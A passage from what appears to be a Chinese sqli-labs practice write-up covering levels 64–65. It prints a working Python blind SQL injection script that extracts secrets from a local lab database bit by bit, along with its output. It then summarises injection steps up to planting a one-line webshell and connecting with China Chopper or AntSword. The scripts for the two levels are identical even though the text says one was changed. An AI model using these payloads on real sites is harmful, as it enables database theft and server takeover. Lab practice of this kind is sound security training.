执行结果:
table_name: 5P8DCNAUAJ
secret_key: N2II0IEZK6PMMUEKNWLKDQ7E
完成 尝试了: 68
第六十四关(挑战11):
payload:
#!/usr/bin/python3
# -*-coding:utf-8-*-
import re
import requests
url = "http://192.168.153.130/secenvs/sqlilabs/Less-65/index.php" # 改成你的地址
try_count = 0
def extract_bits(query, i, j):
"""
获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
"""
global try_count
payload = """
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1),
query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
# print(payload)
resp = requests.get(url, params={"id": payload}, proxies={'http': 'http://192.168.153.130/'}) #改成你的
try_count += 1
info = {
"Angelina": "000",
"Dummy": "001",
"secure": "010",
"stupid": "011",
"superman": "100",
"batman": "101",
"admin": "110",
"admin1": "111"
}
match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
bits = info.get(match.group(1))
assert bits
return bits
def extract_data(query, length):
res = ""
for i in range(1, length+1):
b3 = extract_bits(query, i, 0) # 00000111
b2 = extract_bits(query, i, 3) # 00111000
b1 = extract_bits(query, i, 5) # 11100000
bit = b1[:2] + b2 + b3
res += chr(int(bit, 2))
return res
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
column_name = "secret_" + extract_data(
"substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
4
)
print("column_name:", column_name)
secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
print("secret_key:", secret_key)
print("完成. 尝试次数为:", try_count)
//执行结果
table_name: PJGZU5BXD9
column_name: secret_RBWV
secret_key: OZV7ViVXa1SGeNwxTNEe4nX7
Done. try_count: 114
第六十五关(挑战12):
和六十四关一样,改下闭合即可:
payload:
#!/usr/bin/python3
# -*-coding:utf-8-*-
import re
import requests
url = "http://192.168.153.130/secenvs/sqlilabs/Less-65/index.php" # 改成你的地址
try_count = 0
def extract_bits(query, i, j):
"""
获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
"""
global try_count
payload = """
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1),
query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
# print(payload)
resp = requests.get(url, params={"id": payload}, proxies={'http': 'http://192.168.153.130/'}) #改成你的
try_count += 1
info = {
"Angelina": "000",
"Dummy": "001",
"secure": "010",
"stupid": "011",
"superman": "100",
"batman": "101",
"admin": "110",
"admin1": "111"
}
match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
bits = info.get(match.group(1))
assert bits
return bits
def extract_data(query, length):
res = ""
for i in range(1, length+1):
b3 = extract_bits(query, i, 0) # 00000111
b2 = extract_bits(query, i, 3) # 00111000
b1 = extract_bits(query, i, 5) # 11100000
bit = b1[:2] + b2 + b3
res += chr(int(bit, 2))
return res
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)
column_name = "secret_" + extract_data(
"substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
4
)
print("column_name:", column_name)
secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
print("secret_key:", secret_key)
print("完成. 尝试次数为:", try_count)
执行结果:
table_name: GR0594P17H
column_name: secret_MQVE
secret_key: Sl1NSg1nE88enKC6AOatFZjf
Done. try_count: 114
总结:
sqli-lab靶场是一个集成了所有sql注入方法的靶场,能有效的练习手工sql注入的方法,在练习中逐渐感受到sqlmap这个工具的强大之处,但是sqlmap也给我们忽略了很多其中的细节,熟练运用sqlmap可以有效的避免一些手工注入的麻烦和错误,但是通过手工sql注入,才能更好的理解其中的细节和原理。这样才能更好的理解sql注入漏洞的形成和有效的避免sql注入漏洞的方法。
在sql注入中对于id值的处理,无论是id值还是sort,有很多种情况,但是一般是以下几种
'
"
()
在了解对于id值的处理后,我们在进行sql注入的时候要想办法和sql语句进行闭合。这样才能起到作用。在闭合之后,可以使用注释符。一般有以下的几种:
-- -
-- +
#
;%00
其中-- -
和-- +
可以在get型的sql注入种使用,不可以在post型的使用。
#
和;%00
在GET和POST下均可以使用
对于sql注入的类型大体可以分为以下几种:
报错注入,布尔盲注(基于时间的盲注,延时注入等等),联合注入,堆叠注入,宽字节等等
在进行实践中,我们要结合实际情况,具体问题具体分析,结合各种绕过手法(大小写.双写,空格…)进行限制的绕过,这样才能更好的进行sql注入的理解和防范。但是现在的网站有各种waf,基本不可能就id=1
的情况进行闭合,还要结合对waf的绕过才能进行下一步操作。而且现在的数据库有很多种,这里只是结合了mysql和php环境搭建的sql注入靶机。各种数据库的各种注入语法都不一样,但是SQL语法大同小异。
最后再小结下实施SQL注入攻击的过程:
1.首先对id值或者sort值的闭合进行判断,在页面或者url中输入单引号。确认页面是否有报错。如果有报错,再在引号后面添加注释(-- -),确认页面报错不再出现。结合注释符查看网页有没有回显信息等。
2.再用oder by语句查询字段数有多少。
3.再通过union select拼接查询结果,确认哪些字段在页面中有回显(回显位)。
4.最后在回显位中输入sql注入语句获取数据库的信息,之后再进行爆表,爆字段,爆列,爆详细数据。之后可以向网页或者操作系统目录中写入文件(一句话木马)等进行getshell。
ps:取数据的时候密码和用户名如需要美化输出结果可以这样写:
union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3
5.通过浏览器访问木马文件,或者使用中国菜刀,蚁剑等连接一句话木马进行进一步的操作。
- 感谢你赐予我前进的力量